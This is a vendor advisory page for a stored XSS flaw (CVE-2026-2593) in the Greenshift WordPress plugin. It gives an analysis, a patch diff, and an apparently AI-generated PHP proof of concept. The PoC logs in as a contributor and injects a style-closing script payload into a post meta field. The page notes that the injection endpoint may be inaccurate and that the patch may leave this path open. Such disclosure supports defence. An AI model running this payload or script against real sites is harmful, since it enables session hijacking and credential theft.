Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2593: Greenshift – animation and page builder blocks <= 12.8.5 – Authenticated (Contributor+) Stored Cross-Site Scripting (greenshift-animation-and-page-builder-blocks)

CVE ID CVE-2026-2593
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 12.8.5
Patched Version 12.8.6
Disclosed March 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2593:
The vulnerability is a stored cross-site scripting (XSS) flaw in the Greenshift WordPress plugin. The root cause is insufficient input sanitization and output escaping for the `_gspb_post_css` post meta value and the `dynamicAttributes` block attribute. In the vulnerable code, the `dynamicAttributes` array values are processed through `greenshift_dynamic_placeholders()` after only a `sanitize_text_field()` call, which does not escape HTML for script contexts. The `_gspb_post_css` meta value is retrieved, passed through `htmlspecialchars_decode()`, and then only sanitized with `wp_strip_all_tags()` before being output within a “ tag. This allows an attacker to close the style tag and inject arbitrary JavaScript.

Exploitation requires Contributor-level access. An attacker can inject a malicious payload into the `_gspb_post_css` meta field via the block editor or by directly updating post meta. The payload executes when a user visits a page containing the malicious block. The `dynamicAttributes` array can also be abused to inject event handlers like `onload`, though the patch attempts to block attributes starting with ‘on’.

The patch in version 12.8.6 addresses the issue in several ways. In `block.php` line 673, it changes `strpos` to `stripos` to case-insensitively block event handler attributes. It also adds proper escaping for image `src` and `alt` attributes using `esc_url()` and `esc_attr()`. The patch refactors the style rendering logic in `init.php` but does not add new escaping for the `_gspb_post_css` field, suggesting the vulnerability may persist in other code paths. The primary fix appears to be the stricter validation of `dynamicAttributes` names.

If exploited, this vulnerability allows authenticated attackers with Contributor privileges to inject malicious scripts that execute in the context of any user viewing the compromised page, leading to session hijacking, site defacement, or admin credential theft.

Differential between vulnerable and patched code

Code Diff
--- a/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
+++ b/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
@@ -241,6 +241,19 @@
 						}
 					}
 				}
+			} else if($block['attrs']['tag'] == 'img'){
+				if(!empty($block['attrs']['src']) && strpos($block['attrs']['src'], '{{') !== false){
+					$p = new WP_HTML_Tag_Processor( $html );
+					$p->next_tag();
+					$p->set_attribute( 'src', esc_url(greenshift_dynamic_placeholders($block['attrs']['src'])));
+					$html = $p->get_updated_html();
+				}
+				if(!empty($block['attrs']['alt']) && strpos($block['attrs']['alt'], '{{') !== false){
+					$p = new WP_HTML_Tag_Processor( $html );
+					$p->next_tag();
+					$p->set_attribute( 'alt', greenshift_dynamic_placeholders(esc_attr($block['attrs']['alt'])));
+					$html = $p->get_updated_html();
+				}
 			}
 		}

@@ -660,7 +673,7 @@
 				}else{
 					$sanitized_value = sanitize_text_field($value['value']);
 					$dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($sanitized_value);
-					if(!empty($dynamicAttributes[$index]['name']) && strpos($dynamicAttributes[$index]['name'], 'on') === 0){
+					if(!empty($dynamicAttributes[$index]['name']) && stripos($dynamicAttributes[$index]['name'], 'on') === 0){
 						$dynamicAttributes[$index]['value'] = '';
 					}
 				}
--- a/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'e14e68fb8cf0b5fc6163');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => '5fdf53f9fcffe6e180ce');
--- a/greenshift-animation-and-page-builder-blocks/build/index.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '993efe367776bbb80a67');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => '9feb172495cb058bfbf4');
--- a/greenshift-animation-and-page-builder-blocks/init.php
+++ b/greenshift-animation-and-page-builder-blocks/init.php
@@ -1699,22 +1699,39 @@
 			if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
 				$dynamic_style = get_post_meta((int)$block['attrs']['ref'], '_gspb_post_css', true);
 				$dynamic_style = apply_filters('gspb_reusable_inline_styles', $dynamic_style);
-			}else if(!empty($block['attrs']['CSSRender'])){
-				if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
-					$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+		}else if(!empty($block['attrs']['CSSRender'])){
+			$dynamic_style = '';
+			if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
+				$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+			}
+			if(!empty($block['attrs']['dynamicGClasses'])){
+				foreach ($block['attrs']['dynamicGClasses'] as $class) {
+					if(!empty($class['type']) && $class['type'] == 'local'){
+						if(!empty($class['css'])){
+							$dynamic_style .= $class['css'];
+						}
+						if(!empty($class['selectors'])){
+							foreach ($class['selectors'] as $sub_selector) {
+								if(!empty($sub_selector['css'])){
+									$dynamic_style .= $sub_selector['css'];
+								}
+							}
+						}
+					}
 				}
-			}else{
-				$dynamic_style = $block['attrs']['inlineCssStyles'];
-			}
-			$dynamic_style = gspb_get_final_css($dynamic_style);
-			$dynamic_style = gspb_quick_minify_css($dynamic_style);
-			$dynamic_style = htmlspecialchars_decode($dynamic_style);
-			if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
-				$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
 			}
-			$dynamic_style = '<style>' . wp_strip_all_tags($dynamic_style) . '</style>';
-			$html = $dynamic_style . $html;
+		}else{
+			$dynamic_style = $block['attrs']['inlineCssStyles'];
 		}
+		$dynamic_style = gspb_get_final_css($dynamic_style);
+		$dynamic_style = gspb_quick_minify_css($dynamic_style);
+		$dynamic_style = htmlspecialchars_decode($dynamic_style);
+		if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
+			$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
+		}
+		$dynamic_style = '<style>' . wp_strip_all_tags($dynamic_style) . '</style>';
+		$html = $dynamic_style . $html;
+	}
 	}
 	return $html;
 }
@@ -1743,25 +1760,42 @@
 			$styleStore = GreenShiftStyleStore::getInstance();
 			if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
 				$dynamic_style = get_post_meta((int)$block['attrs']['ref'], '_gspb_post_css', true);
-			}else if(!empty($block['attrs']['CSSRender'])){
-				if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
-					$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+		}else if(!empty($block['attrs']['CSSRender'])){
+			$dynamic_style = '';
+			if(!empty($block['attrs']['styleAttributes']) && !empty($block['attrs']['localId'])){
+				$dynamic_style = gspb_render_style_attributes($block['attrs']['styleAttributes'], '.'.$block['attrs']['localId'], '', isset($block['attrs']['enableSpecificity']) ? $block['attrs']['enableSpecificity'] : false);
+			}
+			if(!empty($block['attrs']['dynamicGClasses'])){
+				foreach ($block['attrs']['dynamicGClasses'] as $class) {
+					if(!empty($class['type']) && $class['type'] == 'local'){
+						if(!empty($class['css'])){
+							$dynamic_style .= $class['css'];
+						}
+						if(!empty($class['selectors'])){
+							foreach ($class['selectors'] as $sub_selector) {
+								if(!empty($sub_selector['css'])){
+									$dynamic_style .= $sub_selector['css'];
+								}
+							}
+						}
+					}
 				}
-			}else{
-				$dynamic_style = $block['attrs']['inlineCssStyles'];
-			}
-			$dynamic_style = gspb_get_final_css($dynamic_style);
-			$dynamic_style = gspb_quick_minify_css($dynamic_style);
-			$dynamic_style = htmlspecialchars_decode($dynamic_style);
-			$dynamic_style = wp_strip_all_tags($dynamic_style);
-			if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
-				$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
-			}
-			if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
-				$styleStore->addClassStyle('ref_'.greenshift_sanitize_id_key($block['attrs']['ref']), $dynamic_style);
-			}else{
-				$styleStore->addClassStyle(greenshift_sanitize_id_key($block['attrs']['id']), $dynamic_style);
 			}
+		}else{
+			$dynamic_style = $block['attrs']['inlineCssStyles'];
+		}
+		$dynamic_style = gspb_get_final_css($dynamic_style);
+		$dynamic_style = gspb_quick_minify_css($dynamic_style);
+		$dynamic_style = htmlspecialchars_decode($dynamic_style);
+		$dynamic_style = wp_strip_all_tags($dynamic_style);
+		if (function_exists('GSPB_make_dynamic_image') && !empty($block['attrs']['background']['dynamicEnable'])) {
+			$dynamic_style = GSPB_make_dynamic_image($dynamic_style, $block['attrs'], $block, $block['attrs']['background'], $block['attrs']['background']['image']);
+		}
+		if($block['blockName'] == 'core/block' && !empty($block['attrs']['ref'])){
+			$styleStore->addClassStyle('ref_'.greenshift_sanitize_id_key($block['attrs']['ref']), $dynamic_style);
+		}else{
+			$styleStore->addClassStyle(greenshift_sanitize_id_key($block['attrs']['id']), $dynamic_style);
+		}
 			//echo $styleStore->getStyles();
 		}
 	}
--- a/greenshift-animation-and-page-builder-blocks/plugin.php
+++ b/greenshift-animation-and-page-builder-blocks/plugin.php
@@ -6,7 +6,7 @@
  * Author: Wpsoul
  * Author URI: https://greenshiftwp.com
  * Plugin URI: https://greenshiftwp.com
- * Version: 12.8.5
+ * Version: 12.8.6
  * Text Domain: greenshift-animation-and-page-builder-blocks
  * License: GPL2+
  * License URI: https://www.gnu.org/licenses/gpl-2.0.txt

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2593 - Greenshift – animation and page builder blocks <= 12.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor';
$password = 'password';
$post_id = 1; // ID of a post the contributor can edit

// Payload to close the style tag and inject JavaScript
$malicious_css = '</style><script>alert(document.domain);</script>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_result = curl_exec($ch);

// Verify login by checking for dashboard redirect
if (strpos($login_result, 'wp-admin') === false) {
    die('Login failed');
}

// Now update the post meta with the malicious CSS
// This simulates an attacker injecting via the block editor or a direct meta update
$update_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'editpost', // This is a generic example; the actual AJAX action may vary
    'post_ID' => $post_id,
    'meta' => array(
        '_gspb_post_css' => $malicious_css
    )
)));
$ajax_result = curl_exec($ch);

// Alternatively, use the REST API to update post meta if the plugin uses it
// $rest_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
// curl_setopt($ch, CURLOPT_URL, $rest_url);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
// curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(array('meta' => array('_gspb_post_css' => $malicious_css))));
// curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
// $rest_result = curl_exec($ch);

curl_close($ch);

echo 'Payload injected. Visit post ID ' . $post_id . ' to trigger XSS.';
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School